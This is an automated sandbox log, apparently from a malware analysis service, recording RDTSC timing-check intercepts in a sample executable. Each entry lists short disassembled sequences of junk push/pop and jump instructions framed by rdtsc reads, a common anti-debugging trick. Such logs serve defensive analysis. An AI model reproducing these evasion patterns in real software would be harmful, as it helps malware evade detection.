Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F97C4 second address: 3F9823 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e pop edx 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FEE8CE578F8h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a jmp 00007FEE8CE57903h 0x0000002f mov dword ptr [ebp+12475E09h], edx 0x00000035 lea eax, dword ptr [ebp+12483F83h] 0x0000003b sbb ecx, 5DBDAF7Dh 0x00000041 nop 0x00000042 push eax 0x00000043 push edx 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F9823 second address: 3F9828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F9828 second address: 3DB55A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FEE8CE578FDh 0x00000010 nop 0x00000011 mov dword ptr [ebp+122D1979h], eax 0x00000017 call dword ptr [ebp+122D2A97h] 0x0000001d push ebx 0x0000001e jmp 00007FEE8CE578FAh 0x00000023 pop ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 jp 00007FEE8CE57903h 0x0000002c push eax 0x0000002d pop eax 0x0000002e jmp 00007FEE8CE578FBh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3DB55A second address: 3DB576 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CE6h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3DB576 second address: 3DB57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42E7FA second address: 42E800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42E800 second address: 42E804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42EEE1 second address: 42EEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42EEE5 second address: 42EF01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FEE8CE578F6h 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jc 00007FEE8CE57908h 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42F053 second address: 42F059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42F059 second address: 42F05D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42F05D second address: 42F061 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42F061 second address: 42F086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE8CE57901h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEE8CE578FCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42F086 second address: 42F08E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42F08E second address: 42F095 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 42F095 second address: 42F09B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 435123 second address: 43513C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEE8CE57901h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 433B17 second address: 433B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 433F68 second address: 433F6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4340DB second address: 4340ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 43439E second address: 4343AB instructions: 0x00000000 rdtsc 0x00000002 je 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4343AB second address: 4343B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 43465D second address: 434665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 434807 second address: 43480F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 43480F second address: 434813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 434A8E second address: 434AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FEE8C708CE6h 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e jmp 00007FEE8C708CDAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 434AB7 second address: 434ABD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 434ABD second address: 434AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 434F3C second address: 434F84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57908h 0x00000007 jmp 00007FEE8CE57908h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jg 00007FEE8CE57934h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FEE8CE578FAh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 434F84 second address: 434F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 434F88 second address: 434F8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 434F8C second address: 434FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE8C708CE0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FEE8C708CE2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4337D4 second address: 4337DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4337DF second address: 4337E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4337E3 second address: 4337F3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FEE8CE578FAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 43AD79 second address: 43AD85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEE8C708CD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 439B19 second address: 439B1E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 439B1E second address: 439B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jnc 00007FEE8C708CE2h 0x0000000d js 00007FEE8C708CDCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 439816 second address: 439824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FEE8CE578F6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 439824 second address: 439845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEE8C708CE1h 0x0000000a pushad 0x0000000b jp 00007FEE8C708CD6h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 43AAAD second address: 43AAB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 43E557 second address: 43E560 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 43E68A second address: 43E6A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEE8CE57905h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 43E6A5 second address: 43E6AA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 441096 second address: 44109E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 44109E second address: 4410A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4410A4 second address: 4410B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop ecx 0x0000000a push esi 0x0000000b push edx 0x0000000c je 00007FEE8CE578F6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 440C89 second address: 440C97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 440C97 second address: 440C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4467D7 second address: 4467ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007FEE8C708CD6h 0x00000011 pop edi 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 44696E second address: 446972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 446972 second address: 44699E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FEE8C708CF4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 44699E second address: 4469AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE8CE578FAh 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4469AE second address: 4469C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4469C0 second address: 4469C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 446B07 second address: 446B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FEE8C708CE2h 0x0000000d jmp 00007FEE8C708CDDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 446C77 second address: 446C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4498AE second address: 4498D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jne 00007FEE8C708CD6h 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007FEE8C708CE6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 44F9E1 second address: 44F9FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEE8CE578FEh 0x0000000c jng 00007FEE8CE578F6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 44E6E0 second address: 44E6E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 44E846 second address: 44E84C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 452C6A second address: 452C79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FEE8C708CD6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 45A1FC second address: 45A201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4584F5 second address: 45851F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEE8C708CEAh 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FEE8C708CD6h 0x00000010 jnc 00007FEE8C708CD6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 45851F second address: 458532 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 458532 second address: 458536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4587C9 second address: 458857 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a jo 00007FEE8CE5791Fh 0x00000010 jmp 00007FEE8CE57906h 0x00000015 jmp 00007FEE8CE57903h 0x0000001a jnc 00007FEE8CE5790Ch 0x00000020 popad 0x00000021 pushad 0x00000022 pushad 0x00000023 jmp 00007FEE8CE578FCh 0x00000028 jno 00007FEE8CE578F6h 0x0000002e js 00007FEE8CE578F6h 0x00000034 popad 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FEE8CE57909h 0x0000003c push edi 0x0000003d pop edi 0x0000003e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 458D86 second address: 458D9D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FEE8C708CE1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 458D9D second address: 458DB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57900h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 45907B second address: 459084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4596B4 second address: 4596B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4596B9 second address: 4596BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4596BF second address: 4596C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4596C3 second address: 4596E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEE8C708CDFh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007FEE8C708CD6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4596E4 second address: 4596E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4596E8 second address: 4596EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 459982 second address: 459991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jng 00007FEE8CE578F6h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 459C00 second address: 459C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FEE8C708CD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 45E0A6 second address: 45E0AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 45E0AC second address: 45E0F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE8C708CDBh 0x00000009 popad 0x0000000a pushad 0x0000000b je 00007FEE8C708CD6h 0x00000011 jmp 00007FEE8C708CE5h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jng 00007FEE8C708CEDh 0x00000020 jmp 00007FEE8C708CE5h 0x00000025 push eax 0x00000026 pop eax 0x00000027 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 45E0F9 second address: 45E0FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 45D512 second address: 45D543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 js 00007FEE8C708CE3h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007FEE8C708CDBh 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007FEE8C708CE6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 45D543 second address: 45D55D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jc 00007FEE8CE578F6h 0x0000000b js 00007FEE8CE578F6h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007FEE8CE578F6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 45D689 second address: 45D6B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEE8C708CE0h 0x00000008 jmp 00007FEE8C708CE4h 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 45D81F second address: 45D828 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 45DACB second address: 45DACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 45DC2F second address: 45DC3D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 45DC3D second address: 45DC41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 46A721 second address: 46A727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 46A727 second address: 46A72C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
